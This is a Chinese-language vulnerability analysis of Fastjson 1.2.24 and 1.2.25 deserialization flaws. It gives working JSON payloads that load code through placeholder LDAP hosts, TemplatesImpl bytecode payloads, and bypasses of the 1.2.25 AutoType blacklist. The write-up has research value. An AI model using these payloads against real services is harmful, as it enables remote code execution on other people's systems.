Fastjson漏洞分析续
这篇文章分析24、25版本漏洞产生的原因以及POC。
1.2.24
1.2.24的漏洞分析,上一篇文章已经分析过了,我们来看一下exp。
出网
1
| {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxx/obj","autoCommit":true}
|
这个poc就是利用了com.sun.rowset.JdbcRowSetImpl类的setAutoCommit和setDataSourceName。
第一步将dateSource设置为远程的值。
先走到setAutoCommit,因为conn为null,会请求connect,第二步请求loop函数。
不出网
TemplatesImpl
不出网这里利用了TemplatesImpl类去加载字节码。
先写一个正常使用TemplatesImpl执行字节码的程序;
1 2 3 4 5 6 7 8 9 10 11
| ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get("org.fvuln.fastjson24.test"); byte[] b = cc.toBytecode(); System.out.println(JSON.toJSONString(b));
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {b}); setFieldValue(obj, "_name", "123"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); obj.getOutputProperties(); System.out.println(JSON.toJSONString(new TransformerFactoryImpl()));
|
org.fvuln.fastjson24.test是一个正常的测试代码内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package org.fvuln.fastjson24;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class test extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
public test() { super(); System.out.println("test"); } }
|
运行结果如下:
可以发现JSON.toJSONString会将二进制数组转换成base的编码。
然后我们构造json的exp运行一下:
1 2 3 4 5 6 7
| String s = "{\n" + "\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" + "\"_bytecodes\": [ \"yv66vgAAADQALAoABgAdCQAeAB8IACAKACEAIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAbTG9yZy9mdnVsbi9mYXN0anNvbjI0L3Rlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMABkAGgcAJgwAJwAoAQAEdGVzdAcAKQwAKgArAQAZb3JnL2Z2dWxuL2Zhc3Rqc29uMjQvdGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABIACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABUACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAEACQAAAD8AAgABAAAADSq3AAGyAAISA7YABLEAAAACAAoAAAAOAAMAAAAYAAQAGQAMABoACwAAAAwAAQAAAA0ADAANAAAAAQAbAAAAAgAc\"\n" + "],\n" + "\"_name\": \"aaa\", \"_tfactory\": {\"errorListener\":{\"$ref\":\"@\"},\"featureManager\":{}}, \"_outputProperties\": {}\n" + "}"; JSON.parseObject(s);
|
发现是无法执行字节码的,这是因为之前1.2.24分析的那三个for循环只能设置public类型的值,虽然这里我们可以调用_outputProperties的get方法,但是由于_bytecodes这些都是private所以无法成功执行字节码。
1
| JSON.parseObject(s, Feature.SupportNonPublicField);
|
这样调用就可以成功执行字节码了,盲猜是让赋值支持不是public类型的。
1.2.25
25版本对比24版本可以发现多了一个config.checkAutoType(typeName);并且默认AutoType为关闭状态。
AutoType打开时
进入到config.checkAutoType(typeName);会进行白名单检测然后进行黑名单检查,不在白名单里面的会继续向下走。如果是白名单内部的直接进行类加载,就不检测黑名单了
如果没在白名单里面,会继续走到类加载这个地方
最后return。
这里需要注意的是黑名单检测的className是我们json里面的字符串
而最终获得的类是
1
| clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
|
调用TypeUtils.loadClass会将我们写的一些bypass给还原。
不出网poc
1 2 3 4 5 6 7 8 9
| String s = "{\n" + "\"@type\": \"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\n" + "\"_bytecodes\": [ \"yv66vgAAADQALAoABgAdCQAeAB8IACAKACEAIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAbTG9yZy9mdnVsbi9mYXN0anNvbjI0L3Rlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMABkAGgcAJgwAJwAoAQAEdGVzdAcAKQwAKgArAQAZb3JnL2Z2dWxuL2Zhc3Rqc29uMjQvdGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABIACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABUACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAEACQAAAD8AAgABAAAADSq3AAGyAAISA7YABLEAAAACAAoAAAAOAAMAAAAYAAQAGQAMABoACwAAAAwAAQAAAA0ADAANAAAAAQAbAAAAAgAc\"\n" + "],\n" + "\"_name\": \"aaa\", \"_tfactory\": {\"errorListener\":{\"$ref\":\"@\"},\"featureManager\":{}}, \"_outputProperties\": {}\n" + "}"; ParserConfig.getGlobalInstance().setAutoTypeSupport(true); JSON.parseObject(s, Feature.SupportNonPublicField); }
|
出网poc
1 2 3
| ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String s1 = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://xxxx/obj\",\"autoCommit\":true}"; JSON.parseObject(s1);
|
AutoType关闭时
进入到config.checkAutoType(typeName);里面可以发现,当AutoType关闭时会进行黑名单与白名单检测。
默认白名单为空。
如果没有生成clazz那么就会报错退出
出网POC
先看poc
1 2
| String s2 = "{{\"@type\": \"java.lang.Class\",\"val\": \"com.sun.rowset.JdbcRowSetImpl\" },{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\": \"ldap://1.2.24.map.xxx.io/Object\", \"autoCommit\": true}}"; JSON.parseObject(s2);
|
第一个json对象
json字符串里面有两个json对象。第一个json对象首先获取到clazz=java.lang.Class。
之后通过deserializer.deserialze成obg
在deserializer.deserialze方法里面objVal变量的值设置为了com.sun.rowset.JdbcRowSetImpl
最后通过下面的方法返回获取的对象。
1
| return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
|
这里的类也就被加到mappings里面了。
第二个json对象
还是继续走到checkAutoType,因为AutoType为false所以会直接走到下方。
走到下方的map这个位置直接就获取到clazz了,后面就没有什么了。
直接return了。
后面的过程就和1.2.24一样了。
不出网POC
1 2 3 4 5 6 7 8 9 10
| String s3 = "{\n" + " {\"@type\": \"java.lang.Class\",\"val\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\" },\n" + " {\n" + "\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" + "\"_bytecodes\": [ \"yv66vgAAADQALAoABgAdCQAeAB8IACAKACEAIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAbTG9yZy9mdnVsbi9mYXN0anNvbjI0L3Rlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMABkAGgcAJgwAJwAoAQAEdGVzdAcAKQwAKgArAQAZb3JnL2Z2dWxuL2Zhc3Rqc29uMjQvdGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABIACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABUACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAEACQAAAD8AAgABAAAADSq3AAGyAAISA7YABLEAAAACAAoAAAAOAAMAAAAYAAQAGQAMABoACwAAAAwAAQAAAA0ADAANAAAAAQAbAAAAAgAc\"\n" + "],\n" + "\"_name\": \"aaa\", \"_tfactory\": {\"errorListener\":{\"$ref\":\"@\"},\"featureManager\":{}}, \"_outputProperties\": {}\n" + "}\n" + "}"; JSON.parseObject(s3, Feature.SupportNonPublicField);
|
还是一样需要注意设置Feature.SupportNonPublicField。